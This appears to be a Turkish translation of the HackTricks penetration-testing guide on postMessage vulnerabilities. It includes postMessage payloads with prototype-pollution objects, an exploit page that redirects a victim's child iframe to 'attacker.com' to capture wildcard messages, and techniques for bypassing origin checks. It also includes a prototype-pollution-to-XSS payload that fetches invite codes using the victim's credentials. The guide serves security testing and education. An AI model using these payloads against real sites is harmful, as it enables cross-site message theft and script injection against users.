hacktricks/pentesting-web/postmessage-vulnerabilities/README.md

14 KiB
Raw Blame History

PostMessage Açıkları

PostMessage Açıkları

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}

PostMessage Gönder

PostMessage, bir mesaj göndermek için aşağıdaki işlevi kullanır:

targetWindow.postMessage(message, targetOrigin, [transfer]);

# postMessage to current page
window.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe with id "idframe"
<iframe id="idframe" src="http://victim.com/"></iframe>
document.getElementById('idframe').contentWindow.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an iframe via onload
<iframe src="https://victim.com/" onload="this.contentWindow.postMessage('<script>print()</script>','*')">

# postMessage to popup
win = open('URL', 'hack', 'width=800,height=300,top=500');
win.postMessage('{"__proto__":{"isAdmin":True}}', '*')

# postMessage to an URL
window.postMessage('{"__proto__":{"isAdmin":True}}', 'https://company.com')

# postMessage to iframe inside popup
win = open('URL-with-iframe-inside', 'hack', 'width=800,height=300,top=500');
## loop until win.length == 1 (until the iframe is loaded)
win[0].postMessage('{"__proto__":{"isAdmin":True}}', '*')

Not edin ki targetOrigin bir '*' veya https://company.com gibi bir URL olabilir.
İkinci senaryoda, mesaj yalnızca o alana gönderilebilir (pencere nesnesinin kökeni farklı olsa bile).
Eğer joker karakter kullanılıyorsa, mesajlar herhangi bir alana gönderilebilir ve Pencere nesnesinin kökenine gönderilecektir.

iframe'leri hedef alma & targetOrigin'de joker karakter

bu rapordaıklandığı gibi, iframelenebilen (hiçbir X-Frame-Header koruması olmayan) ve duyarlı mesajı postMessage aracılığıyla joker karakter (*) kullanarak gönderen bir sayfa bulursanız, iframe'in kökenini değiştirebilir ve duyarlı mesajı sizin kontrolünüzdeki bir alana sızdırabilirsiniz.
Eğer sayfa iframelenebiliyorsa ancak targetOrigin bir URL'ye ayarlandıysa ve joker karaktere değilse, bu numara çalışmayacaktır.

<html>
<iframe src="https://docs.google.com/document/ID" />
<script>
setTimeout(exp, 6000); //Wait 6s

//Try to change the origin of the iframe each 100ms
function exp(){
setInterval(function(){
window.frames[0].frame[0][2].location="https://attacker.com/exploit.html";
}, 100);
}
</script>

addEventListener istismarı

addEventListener JS tarafından postMessages bekleyen fonksiyonu tanımlamak için kullanılan işlevdir.
Aşağıdaki gibi bir kod kullanılacaktır:

window.addEventListener("message", (event) => {
if (event.origin !== "http://example.org:8080")
return;

// ...
}, false);

Not edin ki bu durumda kodun yaptığı ilk şey kaynağı kontrol etmek. Bu, alınan bilgilerle herhangi bir hassas şey yapılacaksa son derece önemlidir (örneğin bir şifre değiştirmek gibi). Eğer kaynağı kontrol etmezse, saldırganlar kurbanların bu uç noktalara rastgele veri göndermesini sağlayabilir ve kurbanların şifrelerini değiştirebilir (bu örnekte).

Sayım

Mevcut sayfadaki olay dinleyicilerini bulmak için şunları yapabilirsiniz:

  • JS kodunda window.addEventListener ve $(window).on (JQuery versiyonu) için arama yapın
  • Geliştirici araçları konsolunda şunu çalıştırın: getEventListeners(window)

  • Tarayıcının geliştirici araçlarında Elements --> Event Listeners kısmına gidin

Kaynak kontrolü atlatmaları

  • event.isTrusted niteliği güvenli kabul edilir çünkü yalnızca gerçek kullanıcı eylemleri tarafından üretilen olaylar için True döner. Doğru bir şekilde uygulanırsa atlatılması zor olsa da, güvenlik kontrollerindeki önemi dikkate değerdir.
  • PostMessage olaylarında kaynak doğrulaması için indexOf() kullanımı atlatmaya karşı hassas olabilir. Bu zayıflığı gösteren bir örnek:
("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma")
  • String.prototype.search()'ten search() metodu, düzenli ifadeler için tasarlanmıştır, dizeler için değil. Regexp dışında bir şey geçmek, metodun potansiyel olarak güvensiz hale gelmesine neden olan regex'e örtük dönüşüme yol açar. Bunun nedeni, regex'te bir noktanın (.) joker karakter olarak işlev görmesi ve özel olarak hazırlanmış alan adlarıyla doğrulamanın atlatılmasına olanak tanımasıdır. Örneğin:
"https://www.safedomain.com".search("www.s.fedomain.com")
  • match() fonksiyonu, search() ile benzer şekilde regex'i işler. Eğer regex yanlış yapılandırılmışsa, atlatmaya karşı hassas olabilir.

  • escapeHtml fonksiyonu, karakterleri kaçırarak girdileri temizlemek için tasarlanmıştır. Ancak, yeni bir kaçırılmış nesne oluşturmaz, mevcut nesnenin özelliklerini üzerine yazar. Bu davranış istismar edilebilir. Özellikle, bir nesne, kontrol edilen özelliğinin hasOwnProperty'yi tanımayacak şekilde manipüle edilebiliyorsa, escapeHtml beklenildiği gibi çalışmayacaktır. Bu, aşağıdaki örneklerde gösterilmektedir:

  • Beklenen Hata:

result = u({
message: "'\"<b>\\"
});
result.message // "&#39;&quot;&lt;b&gt;\"
  • Kaçırma:
result = u(new Error("'\"<b>\\"));
result.message; // "'"<b>\"

Bu zayıflık bağlamında, File nesnesi, yalnızca okunabilir name özelliği nedeniyle özellikle istismar edilebilir. Bu özellik, şablonlarda kullanıldığında escapeHtml fonksiyonu tarafından temizlenmez ve potansiyel güvenlik risklerine yol açar.

  • JavaScript'teki document.domain özelliği, bir script tarafından alan adını kısaltmak için ayarlanabilir, bu da aynı üst alan adı içinde daha gevşek bir aynı köken politikası uygulanmasına olanak tanır.

e.origin == window.origin atlatması

Bir sandboxed iframe içinde bir web sayfası gömüldüğünde %%%%%%, iframe'in kaynağının null olarak ayarlanacağını anlamak önemlidir. Bu, sandbox nitelikleri ile güvenlik ve işlevsellik üzerindeki etkileriyle ilgilenirken özellikle önemlidir.

allow-popups niteliklerini belirleyerek, iframe içinden açılan herhangi bir açılır pencere, üst öğesinin sandbox kısıtlamalarını miras alır. Bu, allow-popups-to-escape-sandbox niteliği de dahil edilmediği sürece, açılır pencerenin kaynağının da null olarak ayarlandığı anlamına gelir ve bu, iframe'in kaynağı ile uyumludur.

Sonuç olarak, bu koşullar altında bir açılır pencere açıldığında ve iframe'den açılır pencereye postMessage kullanılarak bir mesaj gönderildiğinde, hem gönderim hem de alım uçlarının kaynakları null olarak ayarlanır. Bu durum, e.origin == window.origin ifadesinin doğru değerlendirilmesine yol açar (null == null), çünkü hem iframe hem de açılır pencere aynı null kaynak değerini paylaşır.

Daha fazla bilgi için okuyun:

{% content-ref url="bypassing-sop-with-iframes-1.md" %} bypassing-sop-with-iframes-1.md {% endcontent-ref %}

e.source atlatma

Mesajın, scriptin dinlediği aynı pencereden gelip gelmediğini kontrol etmek mümkündür (özellikle tarayıcı uzantılarından içerik scriptleri için mesajın aynı sayfadan gönderilip gönderilmediğini kontrol etmek ilginçtir):

// If its not, return immediately.
if( received_message.source !== window ) {
return;
}

e.source'un bir mesajın null olmasını sağlamak için, postMessage gönderen ve hemen silinen bir iframe oluşturabilirsiniz.

Daha fazla bilgi için şunu okuyun:

{% content-ref url="bypassing-sop-with-iframes-2.md" %} bypassing-sop-with-iframes-2.md {% endcontent-ref %}

X-Frame-Header atlatma

Bu saldırıları gerçekleştirmek için ideal olarak kurban web sayfasını bir iframe içine alabilmeniz gerekir. Ancak X-Frame-Header gibi bazı başlıklar bu davranışı engelleyebilir.
Bu senaryolarda, daha az gizli bir saldırı kullanmaya devam edebilirsiniz. Zayıf web uygulamasına yeni bir sekme açabilir ve onunla iletişim kurabilirsiniz:

<script>
var w=window.open("<url>")
setTimeout(function(){w.postMessage('text here','*');}, 2000);
</script>

Ana sayfayı engelleyerek çocuğa gönderilen mesajı çalmak

Aşağıdaki sayfada, veriyi göndermeden önce ana sayfayı engelleyerek bir çocuk iframe'ine gönderilen hassas postmessage verisini nasıl çalabileceğinizi görebilirsiniz ve çocukta bir XSS kullanarak veriyi sızdırabilirsiniz:

{% content-ref url="blocking-main-page-to-steal-postmessage.md" %} blocking-main-page-to-steal-postmessage.md {% endcontent-ref %}

iframe konumunu değiştirerek mesaj çalmak

X-Frame-Header içermeyen bir web sayfasını iframe'leyebiliyorsanız ve bu sayfa başka bir iframe içeriyorsa, o çocuk iframe'in konumunu değiştirebilirsiniz, böylece eğer bir wildcard kullanılarak gönderilen bir postmessage alıyorsa, bir saldırgan o iframe'in kaynağını kendisinin kontrol ettiği bir sayfaya değiştirebilir ve mesajı çalabilir:

{% content-ref url="steal-postmessage-modifying-iframe-location.md" %} steal-postmessage-modifying-iframe-location.md {% endcontent-ref %}

postMessage ile Prototip Kirliliği ve/veya XSS

postMessage ile gönderilen verilerin JS tarafından çalıştırıldığı senaryolarda, sayfayı iframe'leyebilir ve prototip kirliliği/XSS'yi postMessage aracılığıyla gönderilen istismar ile sömürebilirsiniz.

https://jlajara.gitlab.io/web/2020/07/17/Dom_XSS_PostMessage_2.html adresinde postMessage aracılığıyla Prototip Kirliliği ve ardından XSS'yi istismar etmek için çok iyi açıklanmış birkaç XSS örneği bulunmaktadır.

Bir iframe'e postMessage aracılığıyla Prototip Kirliliği ve ardından XSS'yi istismar etmek için bir örnek:

<html>
<body>
<iframe id="idframe" src="http://127.0.0.1:21501/snippets/demo-3/embed"></iframe>
<script>
function get_code() {
document.getElementById('iframe_victim').contentWindow.postMessage('{"__proto__":{"editedbymod":{"username":"<img src=x onerror=\\\"fetch(\'http://127.0.0.1:21501/api/invitecodes\', {credentials: \'same-origin\'}).then(response => response.json()).then(data => {alert(data[\'result\'][0][\'code\']);})\\\" />"}}}','*');
document.getElementById('iframe_victim').contentWindow.postMessage(JSON.stringify("refresh"), '*');
}

setTimeout(get_code, 2000);
</script>
</body>
</html>

For daha fazla bilgi:

Referanslar

{% hint style="success" %} AWS Hacking'i öğrenin ve pratik yapın:HackTricks Eğitim AWS Kırmızı Ekip Uzmanı (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Eğitim GCP Kırmızı Ekip Uzmanı (GRTE)

HackTricks'i Destekleyin
{% endhint %}